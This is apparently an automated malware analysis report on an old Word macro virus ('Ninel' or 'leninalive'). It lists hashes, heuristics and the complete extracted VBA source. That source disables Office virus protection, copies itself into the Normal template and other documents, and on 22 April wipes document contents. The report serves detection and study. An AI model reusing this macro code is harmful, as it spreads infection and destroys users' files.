Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa6e0ea9bddc5492…

MALICIOUS

Office (OLE)

72.0 KB Created: 2001-11-07 08:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a2dfecd84266949449de3d24108fe03a SHA-1: 6443f7c0d3852bf79882c69649ee9764126bae27 SHA-256: aa6e0ea9bddc54929583c114fd9659aeae5b21e8aa77d4d67ce9f30ddb70b000
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristic firings including 'OLE_VBA_MACROS' and 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS'. The AutoOpen macro attempts to save a copy of itself as 'lenin.dot' in the 'c:\program files\' directory, suggesting an attempt at persistence or propagation. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Ninel-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ninel-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5216 bytes
SHA-256: 03db5bee5112cee50033ceb00479b186d52a552ade78d0b2b09cd9bbd16e1111
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "leninalive"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.autoopen.autoopen"
If Date = "22.04.2001" Or Date = "22.04.2002" Or Date = "22.04.2003" _
Or Date = "22.04.2004" Or Date = "22.04.2005" Or Date = "22.04.2006" _
Or Date = "22.04.2007" Or Date = "22.04.2008" Or Date = "22.04.2009" Then
 Assistant.Visible = True
With Assistant.NewBalloon
   .Button = msoButtonSetOK
  .Heading = "22 Апреля"
 .Text = "С днём рождения, Владимир Ильич Ленин !!!"
.Show
End With
End If
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
 RecentFiles.Maximum = 0
On Error GoTo ErrorAO
iMacroCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iMacroCount
    If NormalTemplate.VBProject.VBComponents(i).Name = "leninalive" Then
        myflag = -1
    End If
Next i
If Not myflag Then

Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name _
        :="leninalive", Object:=wdOrganizerObjectProjectItems
End If
k = ActiveDocument.FullName
iMacroCount = Application.ActiveDocument.VBProject.VBComponents.Count
For i = 1 To iMacroCount
    If Application.ActiveDocument.VBProject.VBComponents(i).Name = "leninalive" Then
ActiveDocument.SaveAs FileName:="c:\program files\lenin.dot", FileFormat:=wdFormatTemplate
ActiveDocument.SaveAs FileName:=k
End If
Next i
Application.ActiveDocument.Save
Application.OrganizerCopy Source:="c:\program files\lenin.dot", Destination:=ActiveDocument.FullName, Name _
        :="leninalive", Object:=wdOrganizerObjectProjectItems
Application.ActiveDocument.Save
ErrorAO:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorVVBC
Assistant.Visible = True
With Assistant.NewBalloon
    .Button = msoButtonSetOK
    .Heading = "22 Апреля"
    .Text = "День рождения Владимира Ильича Ленина !!!"
    .Show
End With
ErrorVVBC:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorVVBC
Assistant.Visible = True
With Assistant.NewBalloon
    .Button = msoButtonSetOK
    .Heading = "22 Апреля"
    .Text = "День рождения Владимира Ильича Ленина !!!"
    .Show
End With
ErrorVVBC:
End Sub
Sub FileSave()
If Date = "22.04.2001" Or Date = "22.04.2002" Or Date = "22.04.2003" _
Or Date = "22.04.2004" Or Date = "22.04.2005" Or Date = "22.04.2006" _
Or Date = "22.04.2007" Or Date = "22.04.2008" Or Date = "22.04.2009" Then
 Assistant.Visible = True
With Assistant.NewBalloon
    .Button = msoButtonSetOK
    .Heading = "22 Апреля"
    .Text = "С днём рождения, Владимир Ильич Ленин !!!"
    .Show
End With
End If
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
 RecentFiles.Maximum = 0
On Error GoTo ErrorAO
iMacroCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iMacroCount
    If NormalTemplate.VBProject.VBComponents(i).Name = "leninalive" Then
        myflag = -1
    End If
Next i
If Not myflag Then

Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name _
        :="leninalive", Object:=wdOrganizerObjectProjectItems
End If
k = ActiveDocument.FullName
iMacroCount = Application.ActiveDocument.VBProject.VBComponents.Count
For i = 1 To iMacroCount
    If Application.ActiveDocument.VBProject.VBComponents(i).Name = "leninalive" Then
ActiveDocument.SaveAs FileName:="c:\program files\lenin.dot", FileFormat:=wdFormatTemplate
ActiveDocument.SaveAs FileName:=k
End If
Next i
Application.ActiveDocument.Save
Application.OrganizerCopy Source:="c:\program files\lenin.dot", Destination:=ActiveDocument.FullName, Name _
        :="leninalive", Object:=wdOrganizerObjectProjectItems
Application.ActiveDocument.Save
ErrorAO:
End Sub

Sub AutoClose()
If Date = "22.04.2001" Or Date = "22.04.2002" Or Date = "22.04.2003" _
Or Date = "22.04.2004" Or Date = "22.04.2005" Or Date = "22.04.2006" _
Or Date = "22.04.2007" Or Date = "22.04.2008" Or Date = "22.04.2009" Then
On Error GoTo ErrorAO
ActiveDocument.Save
ActiveDocument.Select
Selection.Delete
Selection.TypeText Text:="Ленин всегда живой !!! Сегодня 22 апреля - день рождения Владимира Ильича !!! Не забывай этот день!!!"
ActiveDocument.Save
ActiveDocument.Close
End If
ErrorAO:
End Sub